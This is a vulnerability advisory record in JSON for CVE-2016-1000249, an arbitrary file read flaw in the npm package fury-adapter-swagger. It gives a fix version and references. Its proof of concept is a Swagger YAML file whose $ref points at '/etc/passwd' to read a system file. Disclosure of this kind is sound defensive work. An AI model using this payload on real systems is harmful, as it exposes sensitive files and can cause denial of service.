{"id":"CVE-2016-1000249","aliases":[],"url":"https://o3.security/vulnerability/CVE-2016-1000249","summary":"fury-adapter-swagger allows arbitrary file read from system","details":"`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.","published":"2020-09-01T16:38:33Z","modified":"2023-11-08T03:58:08.519720Z","cvss":{"score":7.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"fury-adapter-swagger","fixedVersion":"0.9.7"}],"fix":{"url":"https://github.com/apiaryio/fury-adapter-swagger/pull/89","label":"apiaryio/fury-adapter-swagger#89"},"references":[{"type":"WEB","url":"https://github.com/apiaryio/fury-adapter-swagger/pull/89"},{"type":"WEB","url":"https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7"},{"type":"WEB","url":"https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29"},{"type":"PACKAGE","url":"https://github.com/apiaryio/fury-adapter-swagger"},{"type":"WEB","url":"https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024"},{"type":"WEB","url":"https://www.npmjs.com/advisories/305"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T03:58:08.519720Z"}}